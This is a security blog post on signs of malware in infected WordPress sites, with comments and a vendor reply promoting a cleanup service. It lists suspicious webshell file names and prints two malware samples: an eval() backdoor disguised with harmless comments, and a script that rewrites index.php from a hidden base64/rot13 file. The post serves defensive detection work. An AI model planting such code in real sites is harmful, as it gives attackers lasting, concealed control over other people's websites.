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These data has been collected by our research team at CleanTalk. The team reviews up to 10k files weekly as well as we have over 1,600 signatures of malicious files.</p> <h2 class="wp-block-heading">How do I understand that my website is infected?</h2> <p>Before we look at malware signs, let’s dive into typical symptoms which show a WordPress site has been infected,</p> <ol class="wp-block-list"> <li>Any HTTP redirects to third-party sites that automatically run on a website.</li> <li>Site responses much slower than it was.</li> <li>Hosting provider notifies about unusual utilization of servers resources like CPU or inbound/outbound traffic.</li> <li>Huge amount of outgoing email messages from server that hosts your web site.</li> <li>Broken design (HTML layout) of a website.</li> </ol> <h2 class="wp-block-heading">Signs of Malware files and Malicious code</h2> <p>Okay, here you are the signs of malware on a site,</p> <p>1. Files down below are not located in the WordPress root (WP_ROOT),</p> <pre class="wp-block-code"><code lang="bash" class="language-bash line-numbers">wp-login.php xmlrpc.php admin-ajax.php options.php admin.php</code></pre> <p>2. File with name <strong>KGks.js.php</strong> is 100% malicious.</p> <p>3. Files with name pattern and location <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">WP_ROOT/wp-XXXXXXX.php</mark> (for example: WP_ROOT/wp-canvas.php, WP_ROOT/wp-controller.php), that includes code,</p> <pre class="wp-block-code"><code lang="php" class="language-php"><code>function getid3_lib($canonicalizedHeaders) { // Browser compatibility.     eval($canonicalizedHeaders); } // Remove the JSON file.</code></code></pre> <p>4. Any files without an extension and digits in the name. For example: 84639, 5718129 and etc.</p> <p>5. Files with content like this,</p> <pre class="wp-block-code"><code lang="php" class="language-php"><code><?php </code> <code>$ddscdws = "index.php"; </code> <code>$acdfadfasf = file_get_contents($ddscdws); $sdfdsdfh = "/home3/.../public_html/starmap/wp-content/plugins/astra-widgets/admin/bsf-analytics/assets/css/93917";</code> <code>if (file_exists($sdfdsdfh)) { $iide = file_get_contents($sdfdsdfh); $iide = base64_decode(str_rot13($iide)); if(md5($acdfadfasf) != md5($iide)) { @chmod($ddscdws, 0644); </code> <code>@file_put_contents($ddscdws, $iide); </code> <code>@chmod($ddscdws, 0444); } }</code></code></pre> <p>6. Files with name from the list below most likely are malware,</p> <pre class="wp-block-code"><code lang="bash" class="language-bash line-numbers">radio.php, ajax.php, wso.php, cmd.php, shell.php, reverse_shell.php, profile.php, xmlrpc.php, css.php, category.php, image.php, admin.php, impositive.php, esp.php, shellron.php.</code></pre> <p>Here is detailed case how is <a href="https://research.cleantalk.org/radio-php-infects-wordpress/" target="_blank" rel="noreferrer noopener">radio.php infects WordPress</a>.</p> <p>7. Any *.php files that are located inside <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">WP_ROOT/wp-content/uploads/.</mark></p> <p>8. Any suspicious code inside files,</p> <pre class="wp-block-code"><code lang="bash" class="language-bash line-numbers">WP_ROOT/index.php WP_ROOT/wp-settings.php WP_ROOT/wp-config.php</code></pre> <p>9. Files with suspicious names like <strong>1gkj2saf.php, 862349.php, Ads8DU2.php</strong> and etc.</p> <p>10. Hidden files with extensions .otc, .ott, .css are close to 100% are malicious. For example: <strong>.gk23sa.css, .1942t53.ott, .2634gkgre.otc</strong> and etc.</p> <p>As you can see, attackers use server side executable files to run malware that is why you have to look after suspicious .php files on your WordPress site. As a bonus, here you are screenshots from our backend of a few good examples of malware files.</p> <figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex"> <figure class="wp-block-image size-large"><a href="https://research.cleantalk.org/wp-content/uploads/2024/09/admin-ajax.php-malwared.jpg"><img fetchpriority="high" decoding="async" width="1001" height="1415" data-id="1135" src="https://research.cleantalk.org/wp-content/uploads/2024/09/admin-ajax.php-malwared.jpg" alt="" class="wp-image-1135"/></a></figure> <figure class="wp-block-image size-full"><a href="https://research.cleantalk.org/wp-content/uploads/2024/09/options.php-malwared-1.jpg"><img decoding="async" width="1001" height="1415" data-id="1169" src="https://research.cleantalk.org/wp-content/uploads/2024/09/options.php-malwared-1.jpg" alt="" class="wp-image-1169"/></a></figure> <figure class="wp-block-image size-large"><a href="https://research.cleantalk.org/wp-content/uploads/2024/09/radio.php-malwared.jpg"><img decoding="async" width="1008" height="1415" data-id="1136" src="https://research.cleantalk.org/wp-content/uploads/2024/09/radio.php-malwared.jpg" alt="" class="wp-image-1136"/></a></figure> </figure> <p>Please let me know your thoughts in the comment section down below.</p> <h2 class="wp-block-heading">Update on October 23, 2024</h2> <p>System cron is another way to infect WordPress, find details here <a href="https://research.cleantalk.org/cron-as-the-way-to-re-infect-wordpress/">https://research.cleantalk.org/cron-as-the-way-to-re-infect-wordpress/</a></p> <p></p> <div class="extra-hatom-entry-title"><span class="entry-title">Major signs of Malware on an infected WordPress site</span></div><div class='yarpp yarpp-related yarpp-related-website yarpp-template-list'>  <br><h2>Related posts</h2><div> <div><a href="https://research.cleantalk.org/radio-php-infects-wordpress/" rel="bookmark" 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datetime="2024-10-23T16:11:57+00:00">October 23, 2024</time></a></span> <span class="category"><a href="https://research.cleantalk.org/category/experience/" rel="category tag">Experience</a>, <a href="https://research.cleantalk.org/category/security/" rel="category tag">Security</a></span> <span class="comments"><a href="https://research.cleantalk.org/major-signs-of-malware-on-an-infected-wordpress-site/#comments">3 Comments</a></span> </div></footer> </article>  <ul class="default-wp-page clearfix"> <li class="previous"><a href="https://research.cleantalk.org/plugin-security-certification-psc-2024-64524-events-manager-version-6-5-2-use-events-functions-with-enhanced-security/" rel="prev"><span class="meta-nav">←</span> Plugin Security Certification (PSC-2024-64524): “Events Manager” – Version 6.6.3: Use Events Functions with Enhanced Security</a></li> <li class="next"><a href="https://research.cleantalk.org/cve-2024-6158/" rel="next">CVE-2024-6158 – Category Posts Widget (Free and PRO) – Stored XSS to backdoor creation – POC <span class="meta-nav">→</span></a></li> </ul> <div id="comments" class="comments-area"> <h3 class="comments-title"> 3 thoughts on “<span>Major signs of Malware on an infected WordPress site</span>” </h3> <ul class="comment-list"> <li class="pingback even thread-even depth-1 apbct-trp" id="comment-2224"> <p>Pingback:<a href="https://research.cleantalk.org/radio-php-infects-wordpress/" class="url" rel="ugc">radio.php infects WordPress - Plugin Security Certification (PSC) by CleanTalk</a></p> </li> <li class="comment odd alt thread-odd thread-alt depth-1 apbct-trp" id="li-comment-2395"> <article id="comment-2395" class="comment"> <header class="comment-meta comment-author vcard"> <img alt='' src='https://secure.gravatar.com/avatar/641faf9d8abf41f02661d2a91ab16bfd?s=74&d=mm&r=g' srcset='https://secure.gravatar.com/avatar/641faf9d8abf41f02661d2a91ab16bfd?s=148&d=mm&r=g 2x' class='avatar avatar-74 photo' height='74' width='74' loading='lazy' decoding='async'/><div class="comment-author-link"><a href="http://1972manifesto.com" class="url" rel="ugc external nofollow">Kathleen Pageot</a></div><div class="comment-date-time">October 31, 2024 at 23:23</div><a class="comment-permalink" href="https://research.cleantalk.org/major-signs-of-malware-on-an-infected-wordpress-site/#comment-2395">Permalink</a> </header> <section class="comment-content comment"> <p>Hello. Files with bizarre names that are size 0 bytes… I have a ton of them in many web sites that were hosted for several years at InterServer.<br /> I’ve moved out and trying to clean them up. Do you know the name of a malware that generates up to thousands of odd-named files size “0”?<br /> Thank you.</p> <a rel="nofollow" class="comment-reply-link" href="#comment-2395" data-commentid="2395" data-postid="1131" data-belowelement="comment-2395" data-respondelement="respond" data-replyto="Reply to Kathleen Pageot" aria-label="Reply to Kathleen Pageot">Reply</a> </section> </article> </li> <li class="comment byuser comment-author-dmitrii-ignatyev even thread-even depth-1" id="li-comment-2398"> <article id="comment-2398" class="comment"> <header class="comment-meta comment-author vcard"> <img alt='' src='https://secure.gravatar.com/avatar/54998c6d0860cc6e1f5fee1e7efedb56?s=74&d=mm&r=g' srcset='https://secure.gravatar.com/avatar/54998c6d0860cc6e1f5fee1e7efedb56?s=148&d=mm&r=g 2x' class='avatar avatar-74 photo' height='74' width='74' loading='lazy' decoding='async'/><div class="comment-author-link"><a href="https://blog.cleantalk.org" class="url" rel="ugc external nofollow">Dmitrii I</a></div><div class="comment-date-time">November 1, 2024 at 03:47</div><a class="comment-permalink" href="https://research.cleantalk.org/major-signs-of-malware-on-an-infected-wordpress-site/#comment-2398">Permalink</a> </header> <section class="comment-content comment"> <p>Hello, Kathleen Pageot. </p> <p>Thank you for reaching out. The presence of numerous bizarrely named files with a size of 0 bytes is indeed a common issue caused by certain types of malware that have become quite popular recently. This malware can create these empty files as part of its activity, potentially compromising your website鈥檚 integrity and performance.</p> <p>To help you effectively combat this issue, we highly recommend downloading our specialized malware detection plugin – Security by CleanTalk (<a href="https://wordpress.org/plugins/security-malware-firewall/" rel="nofollow ugc">https://wordpress.org/plugins/security-malware-firewall/</a>). It is designed to identify and eliminate various forms of malware, including the one you’re experiencing, and it鈥檚 user-friendly, making it easy to use for anyone.</p> <p>Additionally, if you鈥檙e looking for a more thorough solution, we offer a deep, manual malware removal service for your site (<a href="https://l.cleantalk.org/website-malware-removal" rel="nofollow ugc">https://l.cleantalk.org/website-malware-removal</a>). Our experienced team will meticulously inspect your website, remove any malicious files, and ensure that your site is secure moving forward. As a special gift, when you contact us for manual removal of malware, we鈥檒l provide you with a one-year license for our security plugin at no extra cost!</p> <p>We鈥檙e confident that either our plugin or our cleaning service will effectively help you remove these unwanted files and safeguard your site against future threats. Should you have any questions or need further assistance, please feel free to reach out. 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